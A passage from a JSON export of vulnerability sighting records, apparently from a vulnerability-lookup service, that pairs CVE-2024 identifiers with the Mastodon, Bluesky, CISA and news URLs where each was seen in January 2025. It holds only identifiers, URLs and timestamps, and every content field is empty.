"vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12427", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113837386587970746", "content": "", "creation_timestamp": "2025-01-16T09:44:29.916023Z"}, {"uuid": "73a553a5-94d8-4190-8da2-4c92f9caddb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12613", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113837386603776560", "content": "", "creation_timestamp": "2025-01-16T09:44:30.209558Z"}, {"uuid": "d00d9cbe-3871-4bbb-aacb-2ccd5f385303", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12803", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfcafhps7c2k", "content": "", "creation_timestamp": "2025-01-09T08:16:04.966782Z"}, {"uuid": "eb3af1c0-037e-42b2-8de1-99877a896317", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12298", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfo3aks7t32r", "content": "", "creation_timestamp": "2025-01-14T01:15:48.257413Z"}, {"uuid": "41184437-b185-4008-84bd-5c728221e3ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12615", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113837386632522187", "content": "", "creation_timestamp": "2025-01-16T09:44:30.630125Z"}, {"uuid": "773fd0f8-7bda-4668-8eda-dbd2482988e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12805", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfcafkmnrq2a", "content": "", "creation_timestamp": "2025-01-09T08:16:08.067252Z"}, {"uuid": "3031178d-6cc3-470d-b354-61af0219875c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12204", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113807419152458754", "content": "", "creation_timestamp": "2025-01-11T02:43:23.159200Z"}, {"uuid": "f92e01e4-9255-468d-97ac-a8a8a756f601", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12211", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113821973916547863", "content": "", "creation_timestamp": "2025-01-13T16:24:51.216060Z"}, {"uuid": "16861ac2-2b5c-47ca-a0a2-ffc2ab1beec0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-12084", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3lft4kbqmm22q", "content": "", "creation_timestamp": "2025-01-16T01:22:27.056424Z"}, {"uuid": "d6bdeee9-7c7d-47d5-bdc2-48048a8e6a05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12614", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113837386618371588", "content": "", "creation_timestamp": "2025-01-16T09:44:30.794281Z"}, {"uuid": "69764c7b-3741-4d35-b627-3e5e9ac55399", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12806", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfcafmtpma25", "content": "", "creation_timestamp": "2025-01-09T08:16:10.484142Z"}, {"uuid": "d5bb83fb-f670-4abe-b2ce-15627e452444", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12404", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113807419166580049", "content": "", "creation_timestamp": "2025-01-11T02:43:23.489024Z"}, {"uuid": "976cc788-2ce8-41a5-b9f1-844a092afd55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12398", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfohebl7sk2u", "content": "", "creation_timestamp": "2025-01-14T04:52:39.324321Z"}, {"uuid": "0111453d-d44a-45be-9641-79605cef2901", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12472", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113807419180725614", "content": "", "creation_timestamp": "2025-01-11T02:43:23.739446Z"}, {"uuid": "b140cb50-c22d-440d-b7f4-e3b3f54ee146", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12087", "type": "seen", "source": "https://bsky.app/profile/zen-logic.bsky.social/post/3lfsllf5ogc2h", "content": "", "creation_timestamp": "2025-01-15T20:18:51.075420Z"}, {"uuid": "aee10798-e57d-4470-8a17-0702319784a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12427", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfu2dsujkc2j", "content": "", "creation_timestamp": "2025-01-16T10:15:43.009782Z"}, {"uuid": "bb4b8099-265e-4c23-a368-2d4c38e6ab7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-12297", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113831815458773296", "content": "", "creation_timestamp": "2025-01-15T10:07:41.158250Z"}, {"uuid": "79314f57-c0b6-4171-bbf9-9f0e1becdff5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12613", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfu2dvfhao2s", "content": "", "creation_timestamp": "2025-01-16T10:15:45.050240Z"}, {"uuid": "6240d782-dbdd-4496-a26b-d8c051e8209e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12614", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfu2dykdqr2f", "content": "", "creation_timestamp": "2025-01-16T10:15:48.456289Z"}, {"uuid": "81c86348-9d5b-44ee-b6cb-85b0a8b5cb6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12615", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfu2e3bgpm2r", "content": "", "creation_timestamp": "2025-01-16T10:15:51.121202Z"}, {"uuid": "f2f99d92-3498-4ccb-8481-42d1b62f47e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lfgpht4cud2x", "content": "", "creation_timestamp": "2025-01-11T02:56:29.739577Z"}, {"uuid": "b19ae580-b828-40f1-9378-aac856a7388c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/jschauma.mstdn.social.ap.brid.gy/post/3lfput2dmcmg2", "content": "", "creation_timestamp": "2025-01-14T18:26:19.279369Z"}, {"uuid": "1415a7dd-ae27-4128-912f-d3f60a3b51ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113832821149812687", "content": "", "creation_timestamp": "2025-01-15T14:23:26.703466Z"}, {"uuid": "67dd3598-cd15-4182-9bd6-59b070d408e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12505", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113807478184539528", "content": "", "creation_timestamp": "2025-01-11T02:58:23.848230Z"}, {"uuid": "53f98bfa-6d94-48a5-b752-96edf91358d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12398", "type": "seen", "source": "https://bsky.app/profile/tmjintel.bsky.social/post/3lfpuy563s224", "content": "", "creation_timestamp": "2025-01-14T18:29:04.018600Z"}, {"uuid": "c2981ae5-6666-45de-ab4b-a135cdc4e8d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12297", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfrjuzda762f", "content": "", "creation_timestamp": "2025-01-15T10:15:46.367437Z"}, {"uuid": "810865ad-3eb3-4370-b043-7053189fbc47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12805", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfcz4luxkf2q", "content": "", "creation_timestamp": "2025-01-09T15:38:31.688046Z"}, {"uuid": "a3ef6676-9aeb-4180-ab58-102b5ce44a72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12627", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113807478200147827", "content": "", "creation_timestamp": "2025-01-11T02:58:24.267814Z"}, {"uuid": "bbb12c0c-4110-46d2-88a9-cc1192169952", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12403", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfrjv4gk2g2r", "content": "", "creation_timestamp": "2025-01-15T10:15:49.579706Z"}, {"uuid": "1ef10efa-89b1-4bd7-bda7-b7b70ae1d4f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/tmjintel.bsky.social/post/3lfryupcewy24", "content": "", "creation_timestamp": "2025-01-15T14:44:02.686878Z"}, {"uuid": "da38ebd0-53e9-4a97-b14a-99c3716a2294", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12423", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfrjv6wbso2r", "content": "", "creation_timestamp": "2025-01-15T10:15:52.180705Z"}, {"uuid": "672e3125-f5ac-45d8-8d67-188e134743bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12803", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfcz4mtwr52q", "content": "", "creation_timestamp": "2025-01-09T15:38:35.415508Z"}, {"uuid": "7c1c5f08-f7b1-46bc-8ee3-f845d40862a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12818", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfrjvbdzkb2h", "content": "", "creation_timestamp": "2025-01-15T10:15:54.665504Z"}, {"uuid": "b6254bd8-fb59-4e24-ae86-f4a22a784993", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/secureinseconds.com/post/3lfvb3lcvqf2d", "content": "", "creation_timestamp": "2025-01-16T21:49:01.584679Z"}, {"uuid": "8a4f35c9-8efa-4cf7-8893-09bb888a09ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12569", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-016-03", "content": "", "creation_timestamp": "2025-01-16T11:00:00.000000Z"}, {"uuid": "c4374760-e5a4-4ad7-919e-f996257688db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12803", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113799182015741245", "content": "", "creation_timestamp": "2025-01-09T15:48:34.572755Z"}, {"uuid": "a9a7cb8b-4393-4ab6-b48c-2a9f6be17446", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12805", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113799182051561020", "content": "", "creation_timestamp": "2025-01-09T15:48:35.557266Z"}, {"uuid": "2fc5baf1-17a7-4826-b0d1-b84922f6a805", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12204", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfgqkix3v62m", "content": "", "creation_timestamp": "2025-01-11T03:15:54.518536Z"}, {"uuid": "416aa351-1d58-4a51-bac7-d6990dd4ff6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3lf6kfwmqqo22", "content": "", "creation_timestamp": "2025-01-07T21:04:38.791414Z"}, {"uuid": "a2540be5-9676-4d28-aae2-0ae423a1d0dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12802", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113789285485490767", "content": "", "creation_timestamp": "2025-01-07T21:51:45.470434Z"}, {"uuid": "5a869bf7-640b-4807-9a02-4687bb0035d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12803", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113789285485490767", "content": "", "creation_timestamp": "2025-01-07T21:51:45.512416Z"}, {"uuid": "e4bfa49a-16ed-4b4d-8451-69bcea4486ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12805", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113789285485490767", "content": "", "creation_timestamp": "2025-01-07T21:51:45.549858Z"}, {"uuid": "d82e52e5-3757-473c-aec4-8433d440d831", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12806", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113789285485490767", "content": "", "creation_timestamp": "2025-01-07T21:51:45.587535Z"}, {"uuid": "ccb6cb7d-a580-45f1-92db-79f8490ccb22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://www.darkreading.com/cyberattacks-data-breaches/cisa-third-party-data-breach-limited-treasury-dept", "content": "", "creation_timestamp": "2025-01-07T16:20:00.000000Z"}, {"uuid": "32ca0881-f033-45f0-ade0-33a139470aa0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12112", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf7ciujp5l22", "content": "", "creation_timestamp": "2025-01-08T04:15:47.116591Z"}, {"uuid": "3dcd800e-19dc-43d9-9e27-863efb772ed8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12521", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf7ciww3sx2e", "content": "", "creation_timestamp": "2025-01-08T04:15:49.543144Z"}, {"uuid": "31f2fc05-99af-47c2-9602-7791de29f778", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12713", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf7cizlbps22", "content": "", "creation_timestamp": "2025-01-08T04:15:52.450837Z"}, {"uuid": "7f24f508-5207-4bcc-af29-02ad85186d77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12030", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113790854135598769", "content": "", "creation_timestamp": "2025-01-08T04:30:41.406498Z"}, {"uuid": "4cb24648-4723-4e01-be40-321787571d14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12205", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113790854151442414", "content": "", "creation_timestamp": "2025-01-08T04:30:41.469353Z"}, {"uuid": "95fd3644-772c-4a7f-a072-1105c63a90d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12030", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf7ftkezt22f", "content": "", "creation_timestamp": "2025-01-08T05:15:26.779698Z"}, {"uuid": "e2cdf97e-e740-48c1-8683-9e6ad7e2b7e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12205", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf7ftn3rfu2i", "content": "", "creation_timestamp": "2025-01-08T05:15:29.613357Z"}, {"uuid": "050aaea1-149a-4939-80cc-721229584b6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12713", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf7h4n5ddu2i", "content": "", "creation_timestamp": "2025-01-08T05:38:25.781362Z"}, {"uuid": "92a762ab-c5fe-4a09-a354-d0f9154e9e0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12030", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf7h4oqolg2w", "content": "", "creation_timestamp": "2025-01-08T05:38:31.848944Z"}, {"uuid": "134e6ee5-f245-482f-bf9e-46b12d441c43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12205", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf7h4ou33n2k", "content": "", "creation_timestamp": "2025-01-08T05:38:32.381824Z"}, {"uuid": "4ef0aa67-ec3e-4e4d-bdd7-6c1269f24f68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12585", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113791241188437876", "content": "", "creation_timestamp": "2025-01-08T06:09:07.009930Z"}, {"uuid": "e80d31dd-ff19-4ba3-8477-36fa1a2396e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12585", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf7j7d6sa62k", "content": "", "creation_timestamp": "2025-01-08T06:15:43.083494Z"}, {"uuid": "a0511049-2f83-4309-b299-9b5925612e5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12585", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf7khza3pj2b", "content": "", "creation_timestamp": "2025-01-08T06:38:29.073495Z"}, {"uuid": "38b03d6d-689a-42af-a8bf-25f71cb8e61d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12584", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113791376022240183", "content": "", "creation_timestamp": "2025-01-08T06:43:24.680870Z"}, {"uuid": "d288a19d-52ed-41aa-ac88-88aa2f4fd553", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12851", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113791376037522876", "content": "", "creation_timestamp": "2025-01-08T06:43:24.763824Z"}, {"uuid": "6b7d0bc8-5e60-46da-9ef1-5c45091c4a05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12852", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113791376052153686", "content": "", "creation_timestamp": "2025-01-08T06:43:25.314212Z"}, {"uuid": "b7b9b21e-4ba4-4869-98b5-4ebd0f194bee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12584", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113791390788597629", "content": "", "creation_timestamp": "2025-01-08T06:47:09.788548Z"}, {"uuid": "5808f1b4-dbc3-4cc4-8170-cb75e2cbfce5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12851", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113791390802796847", "content": "", "creation_timestamp": "2025-01-08T06:47:09.984807Z"}, {"uuid": "d8733b98-7aeb-4fa2-b459-0900e0129a21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12852", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113791390817081497", "content": "", "creation_timestamp": "2025-01-08T06:47:10.103286Z"}, {"uuid": "e7b38c31-9d9e-4056-be68-0e3ae97f93cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12584", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf7mksupyu25", "content": "", "creation_timestamp": "2025-01-08T07:15:50.064867Z"}, {"uuid": "c51269e2-71ef-4652-ab55-763707291842", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12851", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf7mkvaziy2e", "content": "", "creation_timestamp": "2025-01-08T07:15:52.459025Z"}, {"uuid": "4d21695f-672f-4058-a18d-25565c7d2cbb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12852", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf7mkxrol72l", "content": "", "creation_timestamp": "2025-01-08T07:15:55.588103Z"}, {"uuid": "7283a41b-0744-4d3d-b5e7-498a41032c0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12045", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113791523838062644", "content": "", "creation_timestamp": "2025-01-08T07:20:59.765035Z"}, {"uuid": "dfdb4ef4-25bf-46ed-85e0-b4308408b8e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12045", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf7pvxjmzt2k", "content": "", "creation_timestamp": "2025-01-08T08:15:45.090058Z"}, {"uuid": "33a7fa49-10d7-41b4-9cbe-2018cfebe6ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12855", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113791755038241786", "content": "", "creation_timestamp": "2025-01-08T08:19:47.781873Z"}, {"uuid": "ed5a6ca8-dbb7-47ca-b32c-3ab1f65cc6db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12328", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113791755023463208", "content": "", "creation_timestamp": "2025-01-08T08:19:48.023858Z"}, {"uuid": "37db4796-a232-450d-b5d5-9b3107d2765d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12584", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf7rqpng3r2q", "content": "", "creation_timestamp": "2025-01-08T08:48:36.770331Z"}, {"uuid": "3f345cb6-ec0c-4c40-badd-3ab496415eae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12851", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf7rqq2cja25", "content": "", "creation_timestamp": "2025-01-08T08:48:37.891657Z"}, {"uuid": "73773e4c-3e7b-494f-96bc-33356d5c69be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12045", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf7rqqf4uz2q", "content": "", "creation_timestamp": "2025-01-08T08:48:39.368757Z"}, {"uuid": "abc061c8-5731-4498-82da-a51ed7410537", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12852", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf7rqqszhj2u", "content": "", "creation_timestamp": "2025-01-08T08:48:40.370868Z"}, {"uuid": "fd8df264-29f1-4b1f-a505-acb730c18f03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", 